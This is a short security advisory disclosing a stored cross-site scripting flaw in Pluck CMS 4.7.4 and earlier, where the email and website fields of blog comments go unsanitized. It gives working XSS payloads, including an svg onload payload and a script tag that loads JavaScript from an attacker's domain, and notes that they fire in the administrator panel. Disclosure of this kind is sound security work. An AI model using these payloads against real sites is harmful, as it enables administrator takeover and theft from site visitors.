Pluck CMS Stored XSS in versions <=4.7.4

Author: Alyssa Herrera

Description

Pluck CMS contains a module which allow a website owner to create blog posts. By default these blog posts allow anyone to post their reaction, which is what pluck calls their commenting system. The commenting system has several parameters to it: Email, Name, Website, and message. The developer did include checks to sanitize the name of the user and the message but forgot to include checks for the email and website. An attacker then can supply an cross site scripting (XSS) payload to either the email parameter or the website parameter which will then be passed to the server and then saved unsanitized. This will then enable an attacker to perform stored XSS, and this can additionally affect the administrator panel as when an administrator checks the comments on the page, the payload will fire there as well. This can enable a blind XSS attack against the administrator then lead to subsequent take over of the website.

Vulnerability details

An attacker could reproduce this trivial exploit by simply visiting a blog enabled page, making a comment on the page with the website or email set to a cross site scripting vulnerability payload for example *"><svg/onload=confirm(document.domain)>@email.com* or a website set as *http://google.com/?"><svg/onload=confirm(document.domain)>*.
After submitting the payload, the page will alert us with the name of our domain. Then if we go to our administrator page and check the comments it'll also alert there for us as well. A more accurate attacker payload would be "><script src=xxx> and have the page load Javascript code from an attacker domain page.